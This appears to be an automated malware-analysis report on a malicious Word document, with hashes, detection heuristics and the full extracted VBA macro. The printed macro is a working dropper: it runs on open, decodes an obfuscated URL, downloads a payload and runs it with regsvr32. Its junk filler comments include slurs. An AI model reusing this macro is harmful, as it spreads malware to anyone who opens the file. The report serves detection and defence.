Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0b82a611bceda283…

MALICIOUS

Office (OOXML)

116.6 KB Created: 2020-07-24 08:52:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: 53f6ed8a3445d4499fc10fbc3d410123 SHA-1: 475b60f7d424172658a92aecf8550b34c3be1424 SHA-256: 0b82a611bceda28384e49036dcbcf88e5ab6d752f8cddcccb49d2633c922df07
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The `autoopen` subroutine is present and configured to execute. The script attempts to download a file named 'x6.pdf' using `URLDownloadToFile` and then executes it using `WScript.Shell`. This indicates the document's purpose is to download and run a secondary payload.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
    Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Yo As LongPtr, ByVal Av As String, ByVal Rt As String, ByVal Jp As LongPtr, ByVal Sp As LongPtr) As Long
    #Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub autoopen()
    t0 = fI(n)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 4354 bytes
SHA-256: cc823ad343ab77c0cb36582fb5c98cf292be6b44eec62cf577064cc9bb379c06
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "uW"
Public Const wx As String = "x6.pdf"
Function fI(iy)
em = d(iy)
For z6 = 0 To UBound(em)
 oO = oO & Chr(em(z6) Xor 111)
Next z6
fI = oO
End Function
Sub autoopen()
t0 = fI(n)

' Blanched otter
' Discuss generic
' Disintegration pins shark recapitulate
' Grammatical intermixture occurs
' Frost scowl domestic hoping rope
' Defines directive ripen
frm.download t0, wx

' Niggers exception str
' Johnston centre denudation un interventions
' Archaeological skunk downloading candidly

' Conversant juice projectors aberdeen means
' Rabbit

' Career align
' Brew offices
' Ii recipient precipitation narrative
' Curative irrelevant deeps finery fabulous
' Locomotion

' Yang formal
' Fated halter sardonic broomstick ufo
' Libya crossbow editorials mourner
' Navigate plan christianity filters telephony

' Piedmont exceed added strict
' Confirm herbaceous expence admiringly
Dim NE As New WshShell

' Country
' Compulsory electronics criteria
Call NE.run(Q & fY & " " + wx)

' Hostel save
' Interrogation pleasurable exterior hunts evans orders drilling
' Profligate
End Sub

Attribute VB_Name = "uW1"
Function y(CJ)

' Brat reader bolivia theologian composers
' Maximize
' Rod incentives traverse rationally delays untruth
End Function
Sub dA(s8)

' Stewardess sensors
' Reilly abides
' Gran ornamentation poland

' Resound weave interrogatory pink enquiry relax
' Irreparable jun
' Shemale heights

' Directly cool southampton
' Exactly workout detention simultaneous adjacent

' Clocks sterile some suffocation borders frontal
' Typhus ranger stacked aver
' Baby finnish manifesting crier clinch cuirass

' Stabbing crackle lustrous reinforce
' Quarrelsome afire andover victoria
' Crew
' Galvanometer misshapen yokohama formatting bali seventh
' Joyce buccaneer envelope
' Man philosophy obnoxious

' Ns venal rill vulture remainder
' Esdras accomplished
' Hung generative say banter concrete
' Writings governmental

' Loathing
' Interior keg expected dts fruition
' Batch moderator
' Stefan traveler charter

' Conservatory noblemen vote become
' Yen fay
' Terrorists exceptionally scald prim
' Combat
' Chairs mackerel citysearch java

' Against optics deserve
' Childlike
' Ascension fig file lesbians register abscess

' Elder preceding games bits
' Outing seasoning
' Comm ruffle fastest anodyne olfactory
' Migratory garbage federal

' Pill finished confusing
' Rebates inspections preamble
' Intelligent spotless chute mercedes
' Project rangers concerning
' Vulnerability wv saves treaty
' Radiate rehearsal tattooed unawares recent recipient

' Reporters leon virginian
' Pokemon lambda
' Annunciation charwoman slothful mongol loath lodges
' Disrespect wroth
' Future criterion exploitation
' Reconstruction airplane
' Design rust display historical
End Sub

Attribute VB_Name = "TS"
Public Const Q As String = "reg"
Public Const fY As String = "svr32"
Public Const n As String = "7_27_27_31_85_64_64_89_92_8_27_23_4_30_25_25_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_86_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Yo As LongPtr, ByVal Av As String, ByVal Rt As String, ByVal Jp As LongPtr, ByVal Sp As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Yo As Long, ByVal Av As String, ByVal Rt As String, ByVal Jp As Long, ByVal Sp As Long) As Long
#End If
Function d(V5)
d = Split(V5, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{EFB6C949-DB6B-49BD-9740-21455CA95672}{CB180824-36BE-4D21-A0E1-97CB00DAA442}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 29184 bytes
SHA-256: 007c19531681ab80db9608e2a2e3ea7a7d28cdaeb9e75791dc731000361f0928